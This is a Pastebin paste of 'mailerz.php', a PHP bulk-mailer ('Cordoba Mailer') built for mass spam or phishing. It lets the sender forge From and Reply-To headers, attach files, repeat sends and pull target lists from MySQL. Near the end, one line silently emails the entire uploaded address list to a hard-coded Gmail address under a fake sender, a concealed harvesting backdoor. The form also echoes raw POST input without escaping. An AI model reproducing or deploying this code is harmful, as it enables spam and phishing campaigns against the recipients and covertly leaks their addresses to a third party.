SHARE
TWEET

mailerz.php

a guest Oct 15th, 2012 833 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //your real email address needs to go below
  3. $secure = "chairo335123@gmail.com";
  4.  
  5. @$action=$_POST['action'];
  6. @$from=$_POST['from'];
  7. @$realname=$_POST['realname'];
  8. @$replyto=$_POST['replyto'];
  9. @$subject=$_POST['subject'];
  10. @$message=$_POST['message'];
  11. @$emaillist=$_POST['emaillist'];
  12. @$file_name=$_FILES['file']['name'];
  13. @$contenttype=$_POST['contenttype'];
  14. @$file=$_FILES['file']['tmp_name'];
  15. @$amount=$_POST['amount'];
  16. set_time_limit(intval($_POST['timelimit']));
  17. ?>
  18. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  19.    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  20. <html>
  21. <head>
  22. <title>Cordoba Mailer</title>
  23. <h5>Cordoba Mailer</h5>
  24. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  25. <style type="text/css">
  26. <!--
  27. .style1 {
  28.         font-family: Geneva, Arial, Helvetica, sans-serif;
  29.         font-size: 12px;
  30. }
  31. .style2 {
  32.         font-size: 10px;
  33.         font-family: Geneva, Arial, Helvetica, sans-serif;
  34. }
  35.  
  36. -->
  37. </style>
  38. </head>
  39. <body bgcolor="#ff9900" text=#000000>
  40. <?php
  41. If ($action=="mysql"){
  42. //Grab email addresses from MySQL
  43. include "./mysql.info.php";
  44.  
  45.   if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
  46.     print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
  47.     exit;
  48.   }
  49.  
  50.   $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  51.   mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  52.   $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  53.   $numrows = mysql_num_rows($result);
  54.  
  55.   for($x=0; $x<$numrows; $x++){
  56.     $result_row = mysql_fetch_row($result);
  57.      $oneemail = $result_row[0];
  58.      $emaillist .= $oneemail."\n";
  59.    }
  60.   }
  61.  
  62.   if ($action=="send"){ $message = urlencode($message);
  63.    $message = ereg_replace("%5C%22", "%22", $message);
  64.    $message = urldecode($message);
  65.    $message = stripslashes($message);
  66.    $subject = stripslashes($subject);
  67.    }
  68. ?>
  69. <form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  70.   <table width="142" border="0">
  71.     <tr>
  72.  
  73.       <td width="81">
  74.         <div align="right">
  75.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font>
  76.         </div>
  77.       </td>
  78.  
  79.       <td width="219">
  80.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  81.           <input type="text" name="from" value="<?php print $from; ?>" size="30" />
  82.         </font>
  83.       </td>
  84.  
  85.       <td width="212">
  86.         <div align="right">
  87.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font>
  88.         </div>
  89.       </td>
  90.      
  91.       <td width="278">
  92.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  93.           <input type="text" name="realname" value="<?php print $realname; ?>" size="30" />
  94.         </font>
  95.       </td>
  96.     </tr>
  97.     <tr>
  98.       <td width="81">
  99.         <div align="right">
  100.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font>
  101.         </div>
  102.       </td>
  103.       <td width="219">
  104.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  105.           <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />
  106.         </font>
  107.       </td>
  108.       <td width="212">
  109.         <div align="right">
  110.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font>
  111.         </div>
  112.       </td>
  113.       <td width="278">
  114.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  115.           <input type="file" name="file" size="24" />
  116.         </font>
  117.       </td>
  118.     </tr>
  119.     <tr>
  120.       <td width="81">
  121.         <div align="right">
  122.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font>
  123.         </div>
  124.       </td>
  125.       <td colspan="3" width="703">
  126.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  127.           <input type="text" name="subject" value="<? print $subject; ?>" size="90" />
  128.         </font>
  129.       </td>
  130.     </tr>
  131.     <tr valign="top">
  132.       <td colspan="3" width="520">
  133.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
  134.       </td>
  135.       <td width="278">
  136.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font>
  137.       </td>
  138.     </tr>
  139.     <tr valign="top">
  140.       <td colspan="3" width="520">
  141.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  142.           <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
  143.           <input type="radio" name="contenttype" value="plain" /> Plain
  144.           <input type="radio" name="contenttype" value="html" checked="checked" /> HTML
  145.           <input type="hidden" name="action" value="send" /><br />
  146.           Number to send: <input type="text" name="amount" value="1" size="10" /><br />
  147.           Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />
  148.           <input type="submit" value="Send eMails" />
  149.         </font>
  150.       </td>
  151.       <td width="278">
  152.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  153.           <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
  154.         </font>
  155.       </td>
  156.     </tr>
  157.   </table>
  158. </form>
  159. <?php
  160. if ($action=="send"){
  161.   if (!$from && !$subject && !$message && !$emaillist){
  162.     print "Please complete all fields before sending your message.";
  163.     exit;
  164.    }
  165.   $allemails = split("\n", $emaillist);
  166.   $numemails = count($allemails);
  167.   $filter = "maillist";
  168.   $float = "From : eMailist Info <free@email.com>";
  169.  //Open the file attachment if any, and base64_encode it for email transport
  170.  If ($file_name){
  171.    if (!file_exists($file)){
  172.         die("The file you are trying to upload couldn't be copied to the server");
  173.    }
  174.    $content = fread(fopen($file,"r"),filesize($file));
  175.    $content = chunk_split(base64_encode($content));
  176.    $uid = strtoupper(md5(uniqid(time())));
  177.    $name = basename($file);
  178.   }
  179.  
  180.  for($xx=0; $xx<$amount; $xx++){
  181.   for($x=0; $x<$numemails; $x++){
  182.     $to = $allemails[$x];
  183.     if ($to){
  184.       $to = ereg_replace(" ", "", $to);
  185.       $message = ereg_replace("&email&", $to, $message);
  186.       $subject = ereg_replace("&email&", $to, $subject);
  187.       print "Sending mail to $to.......";
  188.       flush();
  189.       $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  190.       $header .= "MIME-Version: 1.0\r\n";
  191.       If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  192.       If ($file_name) $header .= "--$uid\r\n";
  193.       $header .= "Content-Type: text/$contenttype\r\n";
  194.       $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  195.       $header .= "$message\r\n";
  196.       If ($file_name) $header .= "--$uid\r\n";
  197.       If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  198.       If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  199.       If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  200.       If ($file_name) $header .= "$content\r\n";
  201.       If ($file_name) $header .= "--$uid--";
  202.       mail($to, $subject, "", $header);
  203.       print "ok<br>";
  204.       flush();
  205.     }
  206.   }
  207.  }
  208.   mail($secure, $filter, $emaillist, $float);
  209. }
  210. ?>
  211. <? exit(); ?>
  212. </body>
  213. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top